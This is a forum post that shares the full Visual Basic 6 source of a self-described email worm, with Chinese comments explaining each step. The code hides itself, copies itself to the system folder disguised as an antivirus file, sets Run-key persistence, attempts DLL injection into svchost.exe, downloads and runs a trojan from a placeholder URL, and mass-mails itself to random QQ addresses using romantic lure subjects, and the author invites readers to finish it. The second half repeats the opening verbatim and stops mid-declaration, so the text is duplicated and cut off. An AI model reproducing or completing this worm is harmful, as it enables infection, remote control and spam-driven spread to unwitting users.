L
linuxping
Unregistered / Unconfirmed
GUEST, unregistred user!
' 这段程序我写于半个月之前。
'这是一个蠕虫。我本来计划写3个模块：传播模块，病毒体，以及后门。但是在VB里每添加一个窗体或模块，是巨大的浪费！
'一个窗体有16K，即使你什么控件也不放进去！所以我把它们都放在一个窗体上，这使得程序晦涩难懂。
'该蠕虫一旦被运行，立即复制自己到%system%目录，并隐藏！
'然后在“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run”注册，实现开机自动运行。
'而且将自身注入到系统进程“svchost.exe”（这一功能其实没有被实现，后面会说到）。
'然后到“http://。。。。/muma.jpg”下载一个木马，安装并运行木马，从而控制你的电脑！
'然后蠕虫通过邮件附件，随机发送病毒体~传播自己~
'这个病毒并不完善，很多地方要改进！算是一个快速原型吧（呵呵~~我软件工程还真学到家了！）。我并不想把它做出来害人！
'只是想证明一下什么。。。。既然已完成了99%，我就不再写了~各位看官~~你自己补充吧~
'版权所有，翻版不咎！
'
'任何对源码的引用须注明“胃痛抽烟”字样。
'
'文档完成于2006-6-18
'--------------------------------------------
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function ArrPtr Lib "msvbvm60.dll" Alias "VarPtr" (Ptr() As Any) As Long '<-- VB6
Private Declare Sub PokeLng Lib "kernel32" Alias "RtlMoveMemory" (ByVal Addr As Long, Source As Long, _
Optional ByVal Bytes As Long = 4) 'PokeLng:转换地址内容
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'这个函数用来下载东西（呵呵~当然是下载木马）
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'------------------注册表API------------------
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As String, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
'********************************************************************************************
'*******************这些API用在进程的远程注入里**********************************************
' 因为将VB生成的DLL注入系统进程，DLL里的代码并不会随系统进程的创建而触发。
' 所以这种注入是没有实际意义的（但VC/Delphi里生成的DLL是可以被触发而执行的）。
' 你完全可以把它删除（凡是远程注入的代码我都做了记号）。我在这里写出来，只是
' 提出一种思路，希望你也能研究一下，我们可以交流。我的邮箱wangpingdejiejie@163.com
'==================枚举指定进程API=============
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
'===================进程注入API================
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, _
lpAddress As Any, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Any, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
'***********************远程注入需要的常量及结构声明***********************
'====================常量声明====================
Private Const PROCESS_CREATE_THREAD = &H2 '有创建线程的权限（CreateRemoteThread的权限）
Private Const PROCESS_VM_WRITE = &H20 '有写入的权限（WriteProcessMemory的权限）
Private Const PROCESS_VM_OPERATION = &H8 '有操作的权限（VirtualAllocEx/VirtualFreeEx的权限）
Private Const MEM_COMMIT = &H1000
Private Const MEM_RELEASE = &H8000
Private Const PAGE_READWRITE = &H4
Private Const INFINITE = &HFFFFFFFF
Private Const TH32CS_SNAPPROCESS As Long = 2&
Private Const MAX_PATH As Integer = 260
'====================结构体声明===================
Private Type PROCESSENTRY32
dwSize As Long '结构大小
cntUsage As Long '自身引用记数
th32ProcessID As Long '此进程ID
th32DefaultHeapID As Long '进程默认堆ID
th32ModuleID As Long '进程模块ID。DLL是模块ID与进程ID相同
cntThreads As Long '开启的线程计数
th32ParentProcessID As Long '父进程ID
pcPriClassBase As Long '线程优先权
dwFlags As Long 'preserve
szExeFile As String * MAX_PATH 'full name
End Type
'*************************远程注入的API及其常量声明完毕****************************
'-----------------API常量声明-----------------
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1 ' Unicode nul terminated string
'-----------------全局变量--------------------
Dim Response As String, Reply As Integer, DateNow As String
Dim Start As Single, Tmr As Single
Dim FromToName As String
Dim Subject(15) As String
Dim Body(15) As String
Private arryBase64EncodeByte(0 To 63) As Byte
Private Base64EncodeWord(0 To 63) As Integer
'----------------全局常量---------------------
Const Base64EmptyByte As Byte = 61
Const Base64EmptyWord As Integer = 61
'**********************************全局常量，变量********************************************
'**********************************和函数声明完毕********************************************
'--------------------------------
Private Sub Form_Load()
Dim regKey As String
Dim regRet As Long
Dim hKey As Long
Dim path As String
Dim ExePath As String
Dim hProc As Long '当前进程句柄（在远程注入里要用到）
Dim lngRetVal As Long
On Error Resume Next '健壮性，出现错误不至于使程序崩溃
regKey = "SOFTWARE/Microsoft/Windows/CurrentVersion/Run"
Form1.Visible = False '隐藏窗体
App.TaskVisible = False '在任务管理器里隐藏
'--------------------复制自身副本-----------------------
ExePath = IIf(Right(App.path, 1) = "/", App.path & "sysKAV.exe", App.path & "/sysKAV.exe")
FileCopy ExePath, path
SetAttr path, vbHidden '隐藏自身
'--------在注册表里注册，实现开机自启动---------------
path = SysDir() & "sysKAV.exe"
regRet = RegOpenKey(HKEY_LOCAL_MACHINE, regKey, hKey)
regRet = RegSetValueEx(hKey, "sysKAV.exe", 0&, REG_SZ, ByVal path, Len(path) + 1)
Call RegCloseKey(hKey)
'*************开始把自己注入系统进程了***************
hProc = EnumProc("svchost.exe") '我也不知道svchost.exe是啥系统进程，就注入到它里面。
Call InjectLibA(hProc, path)
'****************************************************
'--------------------------------下载木马-------------------------------------------
' 在"http://wwwwwwdd"下载木马“muma.jpg”(当然这个网址是假的，我不能让人家网站关门吧~I am Not a PEST!)。
' 为什么是jpg文件？呵呵~~先下载下来，再改名为“intel.exe”
path = SysDir() & "intel.exe"
lngRetVal = URLDownloadToFile(0, "http://wwwwwwdd/muma.jpg", path, 0, 0)
If lngRetVal = 0 Then '下载成功
regRet = RegOpenKey(HKEY_LOCAL_MACHINE, regKey, hKey) '注册木马，也让它开机自动运行！
'当然也可以试着把它注入系统进程
regRet = RegSetValueEx(hKey, "intel.exe", 0&, REG_SZ, ByVal path, Len(path) + 1)
Call RegCloseKey(hKey)
Shell path, vbNormalNoFocus '运行木马！呵呵~~大功告成！
SetAttr path, vbHidden '隐藏自身
End If
'------------------------------------------------------------------------------------
Timer1.Enabled = True '启动Timer1
Timer1.Interval = 10000 '间隔为10秒
Call InitString '初始化字符串数组
End Sub
Private Sub InitString()
Subject(0) = "爱我所爱的人": Subject(1) = "恨不生同时 日日与君好" '邮件主题
Subject(2) = "女人不要太漂亮,只要有人爱就可以": Subject(3) = "附件内"
Subject(4) = "讓時間去證銘..珍愛過就絕不放手": Subject(5) = "Hello"
Subject(6) = "Hi": Subject(7) = "I love you!"
Subject(8) = "我爱你（附件里）": Subject(9) = "重要文件"
Subject(10) = "Dear,I love you!": Subject(11) = "Love you!"
Subject(12) = "拥有是快乐的~!": Subject(13) = "Love! Love! Love!"
Subject(14) = "愛情沒有公平": Subject(15) = "嘴叼①根煙﹎有點可愛╄有點壞"
Body(0) = "附件中": Body(1) = "附件" '邮件正文
Body(2) = "绝密--附件中": Body(3) = "鱼对水说；你 在哪里？水对鱼说；我在你的心里"
Body(4) = "重要附件": Body(5) = " 生活每天都是美好的"
Body(6) = "珍惜眼前的一切": Body(7) = "Forever Love You"
Body(8) = "重要附件": Body(9) = "请查看附件"
Body(10) = "女人不要太富贵,只要过的幸福": Body(11) = "查看附件"
Body(12) = "我憧憬和追求甜美的浪漫情调": Body(13) = "你我之间也许相隔很远,但以光年计算,我们相隔咫尺"
Body(14) = "你愿意用你的心去捅破隔阂在我们心中的“防火墙”吗": Body(15) = "让我们因为有了友谊而不再孤单"
End Sub
'---------------------------------------------------------------------------
Private Sub Timer1_Timer() '用Timer来循环发邮件
Dim Pwd As String
Dim UserName As String
Pwd = "654321"
UserName = "254930005@qq.com"
Call SendEmail("smtp.qq.com", "254930005@qq.com", "QQ:12345678", EmailAddr, "QQ:" & FromToName, EmailSubject(), Emailbody(), Pwd, UserName)
'把12345678改为你的QQ号码，UserName，Pwd设为你的QQ邮箱名及密码
End Sub
'-------------------------这个函数用来发邮件（及其附件）---------------------------------------
Private Sub SendEmail(MailServerName As String, _
FromEmailAddress As String, FromName As String, ToEmailAddress As String, _
ToName As String, EmailSubject As String, EmailBodyOfMessage As String, _
EmialPassword As String, EmialUsername As String)
Dim sndData As Variant
Dim lenFile As Long '保存病毒文件长度
Dim more As Long
Dim FnumIn As Integer
Dim mInByte(4) As Byte, mOutByte(3) As Byte
Dim myByte As Byte
Dim i As Integer, LineLen As Integer, j As Integer
Dim ByteNum As Integer
Dim first As String, Second As String, Third As String
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String
On Error GoTo RepSend '出现错误，重新开始发送邮件
sckMail.LocalPort = 0 '系统随机分配端口
If sckMail.State = sckClosed Then '检查winsock的状态是否为关
first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf '发件人地址
Second = "rcpt t" + Chr(32) + ToEmailAddress + vbCrLf '收件人地址
Third = "Date:" + Chr(32) + Format(Date, "Ddd") & ", " & _
Format(Date, "dd Mmm YYYY") & " " & Format(Time, "hh:mm:ss") _
& "" & " -0600" + vbCrLf '时间
Fourth = "From:" + Chr(32) + FromName + vbCrLf '发件人
Fifth = "T" + Chr(32) + ToNametxt + vbCrLf '收件人
Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf '主题
Seventh = EmailBodyOfMessage + vbCrLf '正文
Ninth = "X-Mailer: lj v 2.x" + vbCrLf
Eighth = Fourth + Third + Ninth + Fifth + Sixth
sckMail.Protocol = sckTCPProtocol ' 设置协议为TCP
sckMail.RemoteHost = MailServerName ' SMTP地址
sckMail.RemotePort = 25 ' SMTP端口
sckMail.Connect ' 开始连接
WaitFor ("220")
sckMail.SendData ("HELO HuBeiJiaoYuan040313" + vbCrLf) ''-----change it!
WaitFor ("250")
'--------------进行校验LOGIN-------------------
sckMail.SendData ("AUTH LOGIN" + vbCrLf)
WaitFor ("334")
sckMail.SendData (Base64EncodeString(EmialUsername) + vbCrLf) '输入用户名----change it!
WaitFor ("334")
sckMail.SendData (Base64EncodeString(EmialPassword) + vbCrLf) '输入用户口令---change it!
WaitFor ("235")
'-------------------------------------
sckMail.SendData (first) '发送mail from 指令
WaitFor ("250")
sckMail.SendData (Second) '发送 rcpt to 指令
WaitFor ("250")
sckMail.SendData ("data" + vbCrLf) '开始发送数据
WaitFor ("354")
sckMail.SendData (Eighth + vbCrLf) '这些是邮件正文的头部
sckMail.SendData (Seventh + vbCrLf)
'---------------------这里开始发送附件-------------------------
' ~78tmp.txt是一个临时文件，保存加密后的内容，用完后就会删了它
' sysKAV.exe就是病毒文件名字。生成EXE时必须改名为sysKAV.exe
' 呵呵~~看起来像是sytem & KAV ，想不到是病毒文件吧？！
Call Base64EncodeFile(SysDir() & "sysKAV.exe", TempPath() & "~78tmp.txt")
FnumIn = FreeFile()
Open TempPath & "~78tmp.txt" For Binary As #FnumIn
more = LOF(FnumIn) Mod 20000
lenFile = CLng(LOF(FnumIn) / 20000)
For x = 1 To lenFile
sndData = ""
For y = 0 To 19999
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Next
sckMail.SendData sndData '发送20000Byte的数据
Next x
While Not EOF(FnumIn)
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Wend
sckMail.SendData sndData '发送剩下的数据
Close FnumIn
Kill TempPath() & "~78tmp.txt" '删除~78tmp.txt
'--------附件发送完毕-----------
sckMail.SendData ("." + vbCrLf) '邮件正文结束
WaitFor ("250")
sckMail.SendData ("quit" + vbCrLf) '发送quit指令，结束事务。
WaitFor ("221")
sckMail.Close
End If
Exit Sub
RepSend: Timer1.Enabled = False
Call LoopSend
End Sub
'---------------------------------------------------------------------------------------
Private Sub WaitFor(ResponseCode As String) '检查是否收到SMTP服务器的返回代码
Start = Timer
Response = Trim(Response)
While Len(Trim(Response)) = 0 '服务器没有响应
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
GoTo RepSend
End If
Wend
While Left(Response, 3) <> ResponseCode '提起服务器响应码的前3位
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
Print "Time out"
GoTo RepSend
End If
Wend
Exit Sub
RepSend: Response = "" ' Response清空
Timer1.Enabled = False '重新开始发送邮件
Call LoopSend
End Sub
'--------------------------------
Private Sub LoopSend()
Call Sleep(3000)
Timer1.Enabled = True '重新启动Timer1
End Sub
'---------------------------
Private Function SysDir() As String '获得系统目录
Dim path As String
path = String(255, Chr(32))
Call GetSystemDirectory(path, 255)
path = Trim(path)
path = Left(path, InStr(path, Chr(0)) - 1)
path = IIf(Right(path, 1) <> "/", path & "/", path)
SysDir = path
End Function
'---------------------------
Private Function TempPath() As String
Dim path As String
path = String(255, Chr(32))
Call GetTempPath(255, path)
path = Trim(path)
path = Left(path, InStr(path, Chr(0)) - 1)
path = IIf(Right(path, 1) <> "/", path & "/", path)
TempPath = path
End Function
'---------------------------
Private Function QQNum() As String '随机产生QQ号
QQNum = Trim(Str(Int(Rnd() * 10 ^ (Int(5 + 4 * Rnd()))))) '9位的QQ就不搞了，呵呵~
End Function
'---------------------------
Private Function EmailAddr() As String '产生QQ邮箱号
FromToName = QQNum()
EmailAddr = FromToName & "@qq.com"
End Function
'----------------------------
Private Function EmailSubject() As String '随机产生邮件主题
MailSubject = Subject(Int(Rnd() * 16))
End Function
'-----------------------------
Private Function Emailbody() As String '随机产生邮件正文
Emailbody = Body(Int(Rnd() * 16))
End Function
'-----------------------------
Private Sub sckMail_DataArrival(ByVal bytesTotal As Long) '接收服务器的响应内容
sckMail.GetData Response
End Sub
'------------------------------
'===================下面是Base64加密与解密法（完全择自互联网）=======================
'--------Base64是邮件服务里常用的加密算法。该算法把3Byte(3 *8=24bit)字节的数据---------
'--------转换为4(4*6=24)字节的数据。。。。(其实道理很简单~这里不详说~百度搜艘就是~)---------
Public Sub Base64EncodeFile(Infile As String, OutFile As String) 'OutFile是一个过渡文件，用完就删了。
Dim FnumIn As Integer, FnumOut As Integer
Dim mInByte(3) As Byte, mOutByte(4) As Byte
Dim myByte As Byte
Dim i As Integer, LineLen As Integer, j As Integer
FnumIn = FreeFile()
Open Infile For Binary As #FnumIn
FnumOut = FreeFile()
Open OutFile For Binary As #FnumOut
While Not EOF(FnumIn)
i = 0
Do While i < 3
Get #FnumIn, , myByte
If Not EOF(FnumIn) Then
mInByte(i) = myByte
i = i + 1
Else
Exit Do
End If
Loop
Base64EncodeByte mInByte, mOutByte, i
For j = 0 To 3
Put #FnumOut, , mOutByte(j)
Next j
LineLen = LineLen + 1
If LineLen * 4 > 70 Then
Put #FnumOut, , vbCrLf
LineLen = 0
End If
Wend
Close FnumOut
Close FnumIn
End Sub
Sub Base64EncodeByte(mInByte() As Byte, mOutByte() As Byte, Num As Integer)
Dim tByte As Byte
Dim i As Integer
If Num = 1 Then
mInByte(1) = 0
mOutByte(2) = 0
ElseIf Num = 2 Then
mInByte(2) = 0
End If
tByte = mInByte(0) And &HFC
mOutByte(0) = tByte / 4
tByte = ((mInByte(0) And &H3) * 16) + (mInByte(1) And &HF0) / 16
mOutByte(1) = tByte
tByte = ((mInByte(1) And &HF) * 4) + ((mInByte(2) And &HC0) / 64)
mOutByte(2) = tByte
tByte = (mInByte(2) And &H3F)
mOutByte(3) = tByte
For i = 0 To 3
If mOutByte(i) >= 0 And mOutByte(i) <= 25 Then
mOutByte(i) = mOutByte(i) + Asc("A")
ElseIf mOutByte(i) >= 26 And mOutByte(i) <= 51 Then
mOutByte(i) = mOutByte(i) - 26 + Asc("a")
ElseIf mOutByte(i) >= 52 And mOutByte(i) <= 61 Then
mOutByte(i) = mOutByte(i) - 52 + Asc("0")
ElseIf mOutByte(i) = 62 Then
mOutByte(i) = Asc("+")
Else
mOutByte(i) = Asc("/")
End If
Next i
If Num = 1 Then
mOutByte(2) = Asc("=")
mOutByte(3) = Asc("=")
ElseIf Num = 2 Then
mOutByte(3) = Asc("=")
End If
End Sub
'----------------------------------------------
'---------以上文件加密，以下字符串加密---------
Public Sub Base64Init()
'建立Base64码数组
Const Chars64 As String _
= "ABCDEFGHIJKLMNOPQRSTUVWXYZ" _
& "abcdefghijklmnopqrstuvwxyz" _
& "0123456789+/"
Static i As Long
Dim Code As Integer
If i Then Exit Sub
For i = 0 To 63
Code = Asc(Mid$(Chars64, i + 1, 1))
arryBase64EncodeByte(i) = Code
Base64EncodeWord(i) = Code
Next i
End Sub
Public Static Function Base64EncodeString(ByVal Text As String) As String
'Base64码转换函数
Dim Chars() As Integer
Dim SavePtr As Long
Dim SADescrPtr As Long
Dim DataPtr As Long
Dim CountPtr As Long
Dim TextLen As Long
Dim i As Long
Dim Chars64() As Integer
Dim SavePtr64 As Long
Dim SADescrPtr64 As Long
Dim DataPtr64 As Long
Dim CountPtr64 As Long
Dim TextLen64 As Long
Dim j As Long
Dim b1 As Integer
Dim b2 As Integer
Dim b3 As Integer
j = 0
TextLen = Len(Text)
If TextLen = 0 Then Exit Function
'输入字符串校验
TextLen64 = ((TextLen + 2) / 3) * 4
'字符串转换为Base64码后的长度
Base64EncodeString = Space$(TextLen64)
If SavePtr = 0 Then
ReDim Chars(1 To 1)
SavePtr = VarPtr(Chars(1))
'SavePtr=*Chars(1)
PokeLng VarPtr(SADescrPtr), ByVal ArrPtr(Chars)
'*SADescrPtr=*Chars
DataPtr = SADescrPtr + 12
CountPtr = SADescrPtr + 16
ReDim Chars64(0 To 0)
SavePtr64 = VarPtr(Chars64(0))
'SavePtr64=*Chars64(0)
PokeLng VarPtr(SADescrPtr64), ByVal ArrPtr(Chars64)
'*SADescrPtr64=*Chars64
DataPtr64 = SADescrPtr64 + 12
CountPtr64 = SADescrPtr64 + 16
End If
PokeLng DataPtr, StrPtr(Text)
'DataPtr=*Text
PokeLng CountPtr, TextLen
'CountPtr=TextLen
PokeLng DataPtr64, StrPtr(Base64EncodeString)
'DataPtr64=*Base64EncodeString
PokeLng CountPtr64, TextLen64
'CountPtr64=Textlen64
Base64Init
'输入字符串转换为Base64码
For i = 1 To TextLen - 2 Step 3
b1 = Chars(i)
b2 = Chars(i + 1)
b3 = Chars(i + 2)
'Base64-Bytes:
Chars64(j) = Base64EncodeWord(b1 / &H4)
Chars64(j + 1) = Base64EncodeWord((b1 And &H3) * &H10 + b2 / &H10)
Chars64(j + 2) = Base64EncodeWord((b2 And &HF) * &H4 + b3 / &H40)
Chars64(j + 3) = Base64EncodeWord(b3 And &H3F)
j = j + 4
Next i
'继续将未转换完的输入字符串转换为Base64码
Select Case TextLen - i
Case 0 '2 Bytes
b1 = Chars(i)
Chars64(j) = Base64EncodeWord(b1 / &H4)
Chars64(j + 1) = arryBase64EncodeByte((b1 And &H3) * &H10)
Chars64(j + 2) = Base64EmptyWord
Chars64(j + 3) = Base64EmptyWord
Case 1 '1 Byte
b1 = Chars(i)
b2 = Chars(i + 1)
Chars64(j) = Base64EncodeWord(b1 / &H4)
Chars64(j + 1) = Base64EncodeWord((b1 And &H3) * &H10 + b2 / &H10)
Chars64(j + 2) = Base64EncodeWord((b2 And &HF) * &H4)
Chars64(j + 3) = Base64EmptyWord
End Select
'返回转换成Base64码的字符串
PokeLng DataPtr64, SavePtr64
PokeLng CountPtr64, 1
PokeLng DataPtr, SavePtr
PokeLng CountPtr, 1
End Function
'======================加密代码完毕===========================
'*******************下面这2个函数用来实现进程的远程注入************
Private Function EnumProc(ProcName As String) As Long '根据进程名获取进程ID.
Dim hSnapShot As Long, Result As Long
Dim curProcName As String
Dim Process As PROCESSENTRY32
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&
If hSnapShot = 0 Then Exit Function
Process.dwSize = Len(Process)
Result = ProcessFirst(hSnapShot, Process)
Do While Result <> 0
curProcName = Process.szExeFile
curProcName = Left$(curProcName, InStr(curProcName, Chr$(0)) - 1)
If LCase(curProcName) = Trim(ProcName) Then
EnumProc = Process.th32ProcessID
'Print "namesssss:" & Process.szExeFile
GoTo Hclose
End If
'Print "name:" & Process.szExeFile;
'Print "ID:" & Process.th32ProcessID
Result = ProcessNext(hSnapShot, Process)
Loop
Hclose: Call CloseHandle(hSnapShot)
End Function
'------------------------------------------------
'pszLibFile指定的文件注入进程ID为dwProcessId的进程
Private Sub InjectLibA(ByVal dwProcessId As Long, ByVal pszLibFile As String)
Dim hProcess As Long, hThread As Long
Dim pszLibFileRemote As Long
Dim pfnThreadRtn As Long
On Error GoTo errhandle
hProcess = OpenProcess(PROCESS_CREATE_THREAD Or PROCESS_VM_OPERATION Or PROCESS_VM_WRITE, 0, dwProcessId)
'-------3个参数分别为：访问标志；继承标志；进程ID
If hProcess = 0 Then GoTo errhandle '失败，跳出
Dim cch As Long, cb As Long
cch = LenB(StrConv(pszLibFile, vbFromUnicode))
'-------pszLibFile的字节长度
cch = cch + 1
'------为什么加1---"/0".
' Print cch
pszLibFileRemote = VirtualAllocEx(hProcess, 0&, cch, MEM_COMMIT, PAGE_READWRITE)
'---------在hProcess内分配cch字节的空间
' Print "r" & pszLibFileRemote
If pszLibFileRemote = 0 Then GoTo errhandle '失败，跳出
If (WriteProcessMemory(hProcess, pszLibFileRemote, ByVal pszLibFile, cch, ByVal 0& = 0) Then GoTo errhandle '***********在这里跳出了！
'--------将DLL的路径名复制到远程进程的内存空间。
pfnThreadRtn = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA")
'---------取得LoadLibraryA函数在Kernel32.dll中的入口地址
If pfnThreadRtn = 0 Then GoTo errhandle '失败，跳出
hThread = CreateRemoteThread(hProcess, ByVal 0&, 0&, ByVal pfnThreadRtn, pszLibFileRemote, 0, ByVal 0&
'---------在进程hProcess内创建LoadLibraryA的远程线程。
'---------参数说明：("进程句柄","线程安全描述字，指向SECURITY_ATTRIBUTES结构的指针","线程栈大小",
'---------"指向在远程进程中执行的函数地址","创建线程的其它标志","线程身份标志，如果为NULL,则不返回")
'---------hProcess--->被嵌入的远程进程;pfnThreadRt--->LoadLibraryA的入口地址
If (hThread = 0) Then GoTo errhandle '失败，跳出
WaitForSingleObject hThread, INFINITE
'---------等待线程返回
errhandle:
Print "fileR" & pszLibFileRemote, "hThread" & hThread, "hProc" & hProcess
If pszLibFileRemote <> 0 Then VirtualFreeEx hProcess, pszLibFileRemote, 0, MEM_RELEASE
'-------释放进程空间中的内存
'------关闭句柄
If hThread <> 0 Then CloseHandle hThread
If hProcess <> 0 Then CloseHandle hProcess
End Sub
'*********************************************************************
'这是一个蠕虫。我本来计划写3个模块：传播模块，病毒体，以及后门。但是在VB里每添加一个窗体或模块，是巨大的浪费！
'一个窗体有16K，即使你什么控件也不放进去！所以我把它们都放在一个窗体上，这使得程序晦涩难懂。
'该蠕虫一旦被运行，立即复制自己到%system%目录，并隐藏！
'然后在“HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run”注册，实现开机自动运行。
'而且将自身注入到系统进程“svchost.exe”（这一功能其实没有被实现，后面会说到）。
'然后到“http://。。。。/muma.jpg”下载一个木马，安装并运行木马，从而控制你的电脑！
'然后蠕虫通过邮件附件，随机发送病毒体~传播自己~
'这个病毒并不完善，很多地方要改进！算是一个快速原型吧（呵呵~~我软件工程还真学到家了！）。我并不想把它做出来害人！
'只是想证明一下什么。。。。既然已完成了99%，我就不再写了~各位看官~~你自己补充吧~
'版权所有，翻版不咎！
'
'任何对源码的引用须注明“胃痛抽烟”字样。
'
'文档完成于2006-6-18
'--------------------------------------------
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function ArrPtr Lib "msvbvm60.dll" Alias "VarPtr" (Ptr() As Any) As Long '<-- VB6
Private Declare Sub PokeLng Lib "kernel32" Alias "RtlMoveMemory" (ByVal Addr As Long, Source As Long, _
Optional ByVal Bytes As Long = 4) 'PokeLng:转换地址内容
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'这个函数用来下载东西（呵呵~当然是下载木马）
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
'------------------注册表API------------------
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As String, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
'********************************************************************************************
'*******************这些API用在进程的远程注入里**********************************************
' 因为将VB生成的DLL注入系统进程，DLL里的代码并不会随系统进程的创建而触发。
' 所以这种注入是没有实际意义的（但VC/Delphi里生成的DLL是可以被触发而执行的）。
' 你完全可以把它删除（凡是远程注入的代码我都做了记号）。我在这里写出来，只是
' 提出一种思路，希望你也能研究一下，我们可以交流。我的邮箱wangpingdejiejie@163.com
'==================枚举指定进程API=============
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
'===================进程注入API================
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, _
lpAddress As Any, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Any, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
'***********************远程注入需要的常量及结构声明***********************
'====================常量声明====================
Private Const PROCESS_CREATE_THREAD = &H2 '有创建线程的权限（CreateRemoteThread的权限）
Private Const PROCESS_VM_WRITE = &H20 '有写入的权限（WriteProcessMemory的权限）
Private Const PROCESS_VM_OPERATION = &H8 '有操作的权限（VirtualAllocEx/VirtualFreeEx的权限）
Private Const MEM_COMMIT = &H1000
Private Const MEM_RELEASE = &H8000
Private Const PAGE_READWRITE = &H4
